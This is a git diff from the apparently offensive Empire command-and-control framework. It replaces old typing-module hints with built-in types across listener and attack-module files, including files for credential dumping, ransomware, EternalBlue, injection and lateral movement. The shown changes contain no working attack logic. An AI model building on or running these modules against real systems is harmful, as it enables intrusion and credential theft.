+3,6 @@ import logging import os import random -from typing import List, Optional, Tuple from empire.server.common import encryption, helpers, packets, templating from empire.server.common.empire import MainMenu @@ -76,7 +75,7 @@ def default_response(self): self.instance_log.info("default_response() not implemented for pivot listeners") return b"" - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: """ Validate all options for this listener. """ @@ -94,7 +93,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): """ Generate a basic launcher for the specified listener. diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index cf57d35e2..8cae0eb46 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -3,7 +3,6 @@ import logging import os import random -from typing import List, Optional, Tuple from empire.server.common import encryption, helpers, packets, templating from empire.server.common.empire import MainMenu @@ -68,7 +67,7 @@ def default_response(self): self.instance_log.info("default_response() not implemented for pivot listeners") return b"" - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: """ Validate all options for this listener. """ @@ -86,7 +85,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): """ Generate a basic launcher for the specified listener. diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index 5c12f7149..14523d851 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -1,8 +1,6 @@ import random # Empire imports -from typing import List, Optional, Tuple - from empire.server.common import helpers from empire.server.utils import data_util from empire.server.utils.module_util import handle_validate_message @@ -152,7 +150,7 @@ def default_response(self): ) return "" - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: """ Validate all options for this listener. """ @@ -177,7 +175,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): """ Generate a basic launcher for the specified listener. diff --git a/empire/server/modules/csharp/Assembly.Covenant.py b/empire/server/modules/csharp/Assembly.Covenant.py index df158e2c3..6b982504b 100755 --- a/empire/server/modules/csharp/Assembly.Covenant.py +++ b/empire/server/modules/csharp/Assembly.Covenant.py @@ -1,5 +1,3 @@ -from typing import Dict - import yaml from empire.server.core.module_models import EmpireModule @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): @@ -21,7 +19,7 @@ def generate( return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict - compiler_dict: Dict = yaml.safe_load(module.compiler_yaml) + compiler_dict: dict = yaml.safe_load(module.compiler_yaml) # delete the 'Empire' key del compiler_dict[0]["Empire"] # convert back to yaml string diff --git a/empire/server/modules/csharp/AssemblyReflect.Covenant.py b/empire/server/modules/csharp/AssemblyReflect.Covenant.py index 2dd6a4678..a8cda9c40 100755 --- a/empire/server/modules/csharp/AssemblyReflect.Covenant.py +++ b/empire/server/modules/csharp/AssemblyReflect.Covenant.py @@ -1,5 +1,3 @@ -from typing import Dict - import yaml from empire.server.core.module_models import EmpireModule @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): @@ -21,7 +19,7 @@ def generate( return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict - compiler_dict: Dict = yaml.safe_load(module.compiler_yaml) + compiler_dict: dict = yaml.safe_load(module.compiler_yaml) # delete the 'Empire' key del compiler_dict[0]["Empire"] # convert back to yaml string diff --git a/empire/server/modules/csharp/Inject_BOF.Covenant.py b/empire/server/modules/csharp/Inject_BOF.Covenant.py index 47d7c5b51..739805737 100644 --- a/empire/server/modules/csharp/Inject_BOF.Covenant.py +++ b/empire/server/modules/csharp/Inject_BOF.Covenant.py @@ -1,5 +1,3 @@ -from typing import Dict - import yaml from empire.server.core.module_models import EmpireModule @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): @@ -21,7 +19,7 @@ def generate( return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict - compiler_dict: Dict = yaml.safe_load(module.compiler_yaml) + compiler_dict: dict = yaml.safe_load(module.compiler_yaml) # delete the 'Empire' key del compiler_dict[0]["Empire"] # convert back to yaml string diff --git a/empire/server/modules/csharp/ProcessInjection.Covenant.py b/empire/server/modules/csharp/ProcessInjection.Covenant.py index 0f01a5dd3..9e11945a2 100644 --- a/empire/server/modules/csharp/ProcessInjection.Covenant.py +++ b/empire/server/modules/csharp/ProcessInjection.Covenant.py @@ -1,5 +1,3 @@ -from typing import Dict - try: import donut except ModuleNotFoundError: @@ -17,7 +15,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): @@ -91,7 +89,7 @@ def generate( return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict - compiler_dict: Dict = yaml.safe_load(module.compiler_yaml) + compiler_dict: dict = yaml.safe_load(module.compiler_yaml) # delete the 'Empire' key del compiler_dict[0]["Empire"] # convert back to yaml string diff --git a/empire/server/modules/csharp/Shellcode.Covenant.py b/empire/server/modules/csharp/Shellcode.Covenant.py index 23e2233e9..37ea76e0b 100755 --- a/empire/server/modules/csharp/Shellcode.Covenant.py +++ b/empire/server/modules/csharp/Shellcode.Covenant.py @@ -1,5 +1,3 @@ -from typing import Dict - import yaml from empire.server.core.module_models import EmpireModule @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): @@ -24,7 +22,7 @@ def generate( return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict - compiler_dict: Dict = yaml.safe_load(module.compiler_yaml) + compiler_dict: dict = yaml.safe_load(module.compiler_yaml) # delete the 'Empire' key del compiler_dict[0]["Empire"] # convert back to yaml string diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.py b/empire/server/modules/powershell/code_execution/invoke_ntsd.py index 8f95d3146..e293a7aed 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ntsd.py +++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py index 8d89b5d60..4fd5ff1d0 100644 --- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py +++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py @@ -1,5 +1,4 @@ import base64 -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py index abcbcd11a..b3854aca8 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py @@ -1,5 +1,4 @@ import base64 -from typing import Dict from empire.server.core.module_models import EmpireModule @@ -9,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py index c2c7cb32d..3e2af0c2d 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/collection/SharpChromium.py b/empire/server/modules/powershell/collection/SharpChromium.py index 15e11f55b..959a1993a 100644 --- a/empire/server/modules/powershell/collection/SharpChromium.py +++ b/empire/server/modules/powershell/collection/SharpChromium.py @@ -1,5 +1,4 @@ import logging -from typing import Dict from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -12,7 +11,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/collection/WireTap.py b/empire/server/modules/powershell/collection/WireTap.py index 8e9092845..ac358be72 100644 --- a/empire/server/modules/powershell/collection/WireTap.py +++ b/empire/server/modules/powershell/collection/WireTap.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py index 9a042341d..344bb8e26 100644 --- a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py +++ b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/collection/minidump.py b/empire/server/modules/powershell/collection/minidump.py index ec77d3a7e..620693b55 100644 --- a/empire/server/modules/powershell/collection/minidump.py +++ b/empire/server/modules/powershell/collection/minidump.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/collection/packet_capture.py b/empire/server/modules/powershell/collection/packet_capture.py index babc0e76a..bfdd668a3 100644 --- a/empire/server/modules/powershell/collection/packet_capture.py +++ b/empire/server/modules/powershell/collection/packet_capture.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/collection/screenshot.py b/empire/server/modules/powershell/collection/screenshot.py index 780845af1..145d52a1b 100644 --- a/empire/server/modules/powershell/collection/screenshot.py +++ b/empire/server/modules/powershell/collection/screenshot.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/credentials/credential_injection.py b/empire/server/modules/powershell/credentials/credential_injection.py index 072a97c15..dfe8d9807 100644 --- a/empire/server/modules/powershell/credentials/credential_injection.py +++ b/empire/server/modules/powershell/credentials/credential_injection.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py index f12bb90d4..e15899e65 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py index 19267fc4c..c109d3dd5 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py @@ -1,5 +1,4 @@ import logging -from typing import Dict from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule @@ -13,7 +12,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py index a30e9fae3..d2dc51167 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py index 4f7db2fed..574c5da4d 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py +++ b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.py b/empire/server/modules/powershell/credentials/mimikatz/pth.py index 968aaade0..4e394e2d7 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/pth.py +++ b/empire/server/modules/powershell/credentials/mimikatz/pth.py @@ -1,5 +1,4 @@ import logging -from typing import Dict from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule @@ -13,7 +12,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py index 926b18381..045f2ac00 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.common import helpers from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule @@ -11,7 +9,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py index 159922fd5..eaeef9265 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py +++ b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/credentials/tokens.py b/empire/server/modules/powershell/credentials/tokens.py index e071936ef..9cc4e505d 100644 --- a/empire/server/modules/powershell/credentials/tokens.py +++ b/empire/server/modules/powershell/credentials/tokens.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.py b/empire/server/modules/powershell/exfiltration/PSRansom.py index 4eb3f0e9c..950b40fa2 100644 --- a/empire/server/modules/powershell/exfiltration/PSRansom.py +++ b/empire/server/modules/powershell/exfiltration/PSRansom.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py index 40cd7f0fe..fd6f0db94 100755 --- a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py +++ b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py index 3a54f0ffc..b28b682ca 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py index 5e30bc88c..63b1dddf0 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py index e5ddf4958..a83fe9ccd 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py index d8443d695..c1e11f912 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py index 2c14ee33f..0b4f12ecf 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py index 3f4ef1bf1..c33d549fa 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py index 5a6da42f9..19f6cc9c5 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py index 9bef6e3af..444d2ee2f 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py index 9e678ba4d..97060e9a3 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py index 093934aa2..e36526915 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.common import helpers from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule @@ -11,7 +9,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py index 3034fcbfc..80d3f80e0 100644 --- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py +++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.common import helpers from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py index 2146a5c53..f515a044e 100644 --- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py +++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.common import helpers from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/invoke_bypass.py b/empire/server/modules/powershell/management/invoke_bypass.py index 66afff94c..d6f5dd6ee 100644 --- a/empire/server/modules/powershell/management/invoke_bypass.py +++ b/empire/server/modules/powershell/management/invoke_bypass.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/invoke_script.py b/empire/server/modules/powershell/management/invoke_script.py index e9a0692a4..eeeb721de 100644 --- a/empire/server/modules/powershell/management/invoke_script.py +++ b/empire/server/modules/powershell/management/invoke_script.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/logoff.py b/empire/server/modules/powershell/management/logoff.py index 7db2b78a8..9e319a923 100644 --- a/empire/server/modules/powershell/management/logoff.py +++ b/empire/server/modules/powershell/management/logoff.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.py b/empire/server/modules/powershell/management/mailraider/disable_security.py index 66bcacf58..c409503ac 100644 --- a/empire/server/modules/powershell/management/mailraider/disable_security.py +++ b/empire/server/modules/powershell/management/mailraider/disable_security.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.py b/empire/server/modules/powershell/management/mailraider/get_emailitems.py index 380546733..5bd1aa700 100644 --- a/empire/server/modules/powershell/management/mailraider/get_emailitems.py +++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py index e9ebf3b09..6e4e76bb5 100644 --- a/empire/server/modules/powershell/management/psinject.py +++ b/empire/server/modules/powershell/management/psinject.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py index 7a5b74ccf..7d5724449 100644 --- a/empire/server/modules/powershell/management/reflective_inject.py +++ b/empire/server/modules/powershell/management/reflective_inject.py @@ -1,6 +1,5 @@ import random import string -from typing import Dict from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/runas.py b/empire/server/modules/powershell/management/runas.py index c9cff3b0d..67b1b280b 100644 --- a/empire/server/modules/powershell/management/runas.py +++ b/empire/server/modules/powershell/management/runas.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py index d7391ef7e..bc31bffb8 100644 --- a/empire/server/modules/powershell/management/shinject.py +++ b/empire/server/modules/powershell/management/shinject.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.common import helpers from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py index 8a54845a7..8e2ab0933 100644 --- a/empire/server/modules/powershell/management/spawn.py +++ b/empire/server/modules/powershell/management/spawn.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from 